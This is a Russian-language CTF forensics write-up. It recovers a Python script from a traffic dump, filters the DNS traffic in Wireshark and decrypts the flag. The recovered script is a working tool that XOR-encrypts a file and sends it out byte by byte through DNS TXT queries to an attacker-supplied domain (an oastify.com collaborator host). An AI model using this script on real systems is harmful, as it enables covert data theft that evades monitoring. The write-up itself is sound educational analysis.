March 30

Scriptkidding (forensics) – RDG CTF 2025 writeups

Рассмотрим решение самой простой форензики на недавнем ивенте RDG CTF 2025 от ребят из ДВФУ.
На вход получаем дамп трафика, открыв который видим, на первый взгляд, обычный трафик случайно взятой сети. Пролистав чуть ниже (или просто зайдя в экспорт объектов -> http) находим питон скриптик, передающийся по HTTP:

import sys
import subprocess

def xor(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

key1 = bytes.fromhex('1337')
key2 = bytes.fromhex('DEADBEEF')

if len(sys.argv) != 3:
    print("[*] Usage: sys.argv[0] <file> <hostname>")
    sys.exit(1)

file = sys.argv[1]
hostname = sys.argv[2]

try:
    with open('file'    , 'rb') as f:
        content = f.read()
        enc = xor(xor(content, key1), key2)
        bytes_list = [hex(b)[2:].zfill(2) for b in enc]

        for byte in bytes_list:
            subprocess.run(['nslookup', '-type=TXT', f'{byte}.{hostname}'])
            subprocess.run(['sleep', '1'])
except Exception as e:
    print(f"[*] An error occurred: {e}")

После тщательного анализа (или просто закидывания в дипсик) мы понимаем, что это простейший скрипт для эксфильтрации данных через TXT DNS запросы. Скрипт шифрует xor’ом некоторые данные, а затем по байтикам переправляет их.
В трафике ставим фильтр по dns запросам (dns) и замечаем, что на целевой домен (в данном случае – домен коллаборатора) летят dns запросы с постоянно меняющимся доменом четвертого уровня, где мы и видим наши эксфильтрующиеся байтики:

Фильтр "dns"

Теперь наша задача просто спарсить эти самые байтики, после чего дешифровать их (помним, что они зашифрованы) и получить флаг.
Обратим внимание на то, что в отфильтрованном нами трафике есть фон, а именно – dns запросы, ответ на которые не был получен...

Запрос без ответа

...и легитимные dns запросы. Уберем эти бесполезные пакеты, а заодно и выставим source у запросов, чтобы ответы не мозолили глаза – благо фильтры в Wireshark – штука мощная. Финальный фильтр примет следующий вид:

((dns.qry.name contains "z55nv82m8bnhrgz9ooiybkzq6hc80zrng.oastify.com" ) && (ip.src == 192.168.0.107)) && !(dns.response_missing)

Теперь у нас есть только необходимые нам пакеты – любым удобным вам способом парсим байтики из запросов. Так как их не сильно много, я просто переписывал их вручную в блокнот, но если их было бы гораздо больше – пришлось бы прибегать к написанию парсера на tshark/pyshark.
Шифрованные данные выглядят следующим образом:

bf fe ca a3 a9 ae 9f bb f5 af 9a b9 a9 ab 9a e1 fb a3 9d bc fe ad cf b9 fa a2 98 ef ab a8 cf e8 ac f8 98 ec b0 90

Пишем простейший дешифратор (не забываем поменять порядок ключей при xor-дешифровании):

import sys

def xor(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

key1 = bytes.fromhex('1337')
key2 = bytes.fromhex('DEADBEEF')

enc_hex = "bf fe ca a3 a9 ae 9f bb f5 af 9a b9 a9 ab 9a e1 fb a3 9d bc fe ad cf b9 fa a2 98 ef ab a8 cf e8 ac f8 98 ec b0 90"
enc_data = bytes.fromhex(enc_hex)

decrypted = xor(xor(enc_data, key2), key1)
print("Flag", decrypted.decode('utf-8'))

…и получаем флаг!